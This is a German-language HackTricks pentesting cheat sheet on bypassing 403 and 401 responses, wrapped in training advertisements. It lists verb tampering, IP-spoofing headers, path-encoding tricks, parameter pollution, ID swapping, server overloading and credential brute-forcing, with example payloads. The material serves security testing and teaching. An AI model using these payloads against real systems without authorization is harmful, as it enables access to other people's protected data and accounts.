403 & 401 Bypasses
Last updated
Last updated
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Erhalte die Perspektive eines Hackers auf deine Webanwendungen, Netzwerke und Cloud
Finde und melde kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen. Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
Versuche, verschiedene Verben zu verwenden, um auf die Datei zuzugreifen: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
Überprüfe die Antwort-Header, vielleicht können einige Informationen gegeben werden. Zum Beispiel bedeutet eine 200-Antwort auf HEAD mit Content-Length: 55
, dass das HEAD-Verb auf die Info zugreifen kann. Aber du musst immer noch einen Weg finden, diese Info zu exfiltrieren.
Die Verwendung eines HTTP-Headers wie X-HTTP-Method-Override: PUT
kann das verwendete Verb überschreiben.
Verwende das TRACE
-Verb und wenn du sehr viel Glück hast, kannst du vielleicht in der Antwort auch die von Zwischenproxies hinzugefügten Header sehen, die nützlich sein könnten.
Ändere den Host-Header auf einen beliebigen Wert (das hat hier funktioniert)
Versuche, andere User Agents zu verwenden, um auf die Ressource zuzugreifen.
Fuzz HTTP-Header: Versuche, HTTP-Proxy-Header, HTTP-Authentifizierung Basic und NTLM-Brute-Force (nur mit wenigen Kombinationen) und andere Techniken zu verwenden. Um all dies zu tun, habe ich das Tool fuzzhttpbypass erstellt.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
Wenn der Pfad geschützt ist, kannst du versuchen, den Pfadschutz mit diesen anderen Headern zu umgehen:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Wenn die Seite hinter einem Proxy ist, könnte es der Proxy sein, der dir den Zugriff auf die privaten Informationen verweigert. Versuche, HTTP Request Smuggling oder Hop-by-Hop-Header** auszunutzen.**
Fuzz spezielle HTTP-Header auf der Suche nach unterschiedlichen Antworten.
Fuzz spezielle HTTP-Header, während du HTTP-Methoden fuzzst.
Entferne den Host-Header und vielleicht kannst du den Schutz umgehen.
Wenn /path blockiert ist:
Versuche, /%2e/path _(wenn der Zugriff durch einen Proxy blockiert wird, könnte dies den Schutz umgehen). Versuche auch_** /%252e**/path (doppelte URL-Kodierung)
Versuche Unicode-Bypass: /%ef%bc%8fpath (Die URL-kodierten Zeichen sind wie "/"), sodass es beim Zurückkodieren //path sein wird und du möglicherweise bereits die /path-Namensüberprüfung umgangen hast.
Andere Pfad-Bypässe:
site.com/secret –> HTTP 403 Forbidden
site.com/SECRET –> HTTP 200 OK
site.com/secret/ –> HTTP 200 OK
site.com/secret/. –> HTTP 200 OK
site.com//secret// –> HTTP 200 OK
site.com/./secret/.. –> HTTP 200 OK
site.com/;/secret –> HTTP 200 OK
site.com/.;/secret –> HTTP 200 OK
site.com//;//secret –> HTTP 200 OK
site.com/secret.json –> HTTP 200 OK (ruby)
Verwende all diese Liste in den folgenden Situationen:
/FUZZsecret
/FUZZ/secret
/secretFUZZ
Andere API-Bypässe:
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthorisiert
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthorisiert
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)
Ändere param Wert: Von id=123
--> id=124
Füge zusätzliche Parameter zur URL hinzu: ?
id=124
—-> id=124&isAdmin=true
Entferne die Parameter
Ändere die Reihenfolge der Parameter
Verwende Sonderzeichen.
Führe Grenzwerttests in den Parametern durch — gib Werte wie -234 oder 0 oder 99999999 (nur einige Beispielwerte) an.
Wenn du HTTP/1.1 verwendest, versuche 1.0 oder teste sogar, ob es 2.0 unterstützt.
Hole die IP oder CNAME der Domain und versuche, sie direkt zu kontaktieren.
Versuche, den Server zu belasten, indem du gängige GET-Anfragen sendest (Es hat für diesen Typen mit Facebook funktioniert).
Ändere das Protokoll: von http zu https oder von https zu http
Gehe zu https://archive.org/web/ und überprüfe, ob die Datei in der Vergangenheit weltweit zugänglich war.
Rate das Passwort: Teste die folgenden gängigen Anmeldedaten. Weißt du etwas über das Opfer? Oder den Namen der CTF-Herausforderung?
Brute Force: Versuche Basic, Digest und NTLM Authentifizierung.
Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
Finden und melden Sie kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen. Verwenden Sie unsere 20+ benutzerdefinierten Werkzeuge, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, wodurch Ihre harte Arbeit in überzeugende Berichte umgewandelt wird.
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)